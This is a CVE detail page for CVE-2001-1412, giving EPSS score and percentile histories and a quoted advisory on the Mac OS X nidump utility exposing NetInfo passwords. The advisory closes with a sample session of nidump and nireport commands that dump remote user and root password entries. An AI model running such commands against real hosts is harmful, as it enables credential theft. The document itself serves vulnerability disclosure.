CVE-2001-1412 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.92%	–	–
2022-02-13	–	–	1.92%	–	–
2022-04-03	–	–	1.92%	–	–
2022-06-26	–	–	1.92%	–	–
2022-11-13	–	–	1.92%	–	–
2022-11-20	–	–	1.92%	–	–
2022-12-11	–	–	1.92%	–	–
2022-12-18	–	–	1.92%	–	–
2022-12-25	–	–	1.92%	–	–
2023-01-01	–	–	1.92%	–	–
2023-02-12	–	–	1.92%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.23%
2025-03-30	–	–	–	–	0.23%
2025-04-15	–	–	–	–	0.23%
2025-04-15	–	–	–	–	0.23,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	55%
2022-02-13	56%
2022-04-03	76%
2022-06-26	77%
2022-11-13	78%
2022-11-20	77%
2022-12-11	78%
2022-12-18	77%
2022-12-25	78%
2023-01-01	77%
2023-02-12	78%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	44%
2025-03-30	43%
2025-04-15	46%
2025-04-15	46%

source: https://www.securityfocus.com/bid/2953/info A vulnerability exists in all versions of Apple MacOS X. It has been found to contain a vulnerability which could allow disclosure of passwords and other sensitive system information. nidump is a Mac OS X system data extraction utility which can be used to read the contents of the NetInfo database. This utility's default file permissions leave this utility available to any local user at the command line. However, hosts with a network nidomain may be vulnerable to remote exploitation of this issue. This is possible if remote tags are used for nidump. It should also be noted that both portmap and netinfobind must be listening on the target host for this issue to be exploited. The output of the nidump command can reveal the list of usernames and passwords in clear text. An attacker could then use this list to log in as a user with administrative priveleges. % nidomain -l xxx.xxx.net tag=network udp=797 tcp=798 tag=local udp=795 tcp=796 % nidump -t xxx.xxx.net/network passwd root:xxxxxxxx.:0:0::0:0:System Administrator:/private/var/root:/bin/tcsh % nireport -t xxx.xxx.net/network /users name uid passwd root 0 xxxxxxxxx. % nidump -r / -t xxx.xxxx.net/network { "master" = ( "localhost/network" ); CHILDREN = ( { "name" = ( "machines" ); CHILDREN = ( { "name" = ( "localhost" ); "ip_address" = ( "xxx.xxx.xxx.xxx" ); "serves" = ( "./network", "localhost/local" ); } ) }, { "name" = ( "users" ); CHILDREN = ( { "name" = ( "root" ); "passwd" = ( "xxxxxxxxx." ); "uid" = ( "0" ); "gid" = ( "0" ); "change" = ( "0" ); "expire" = ( "0" ); "realname" = ( "System Administrator" ); "home" = ( "/private/var/root" ); "shell" = ( "/bin/tcsh" ); } etc.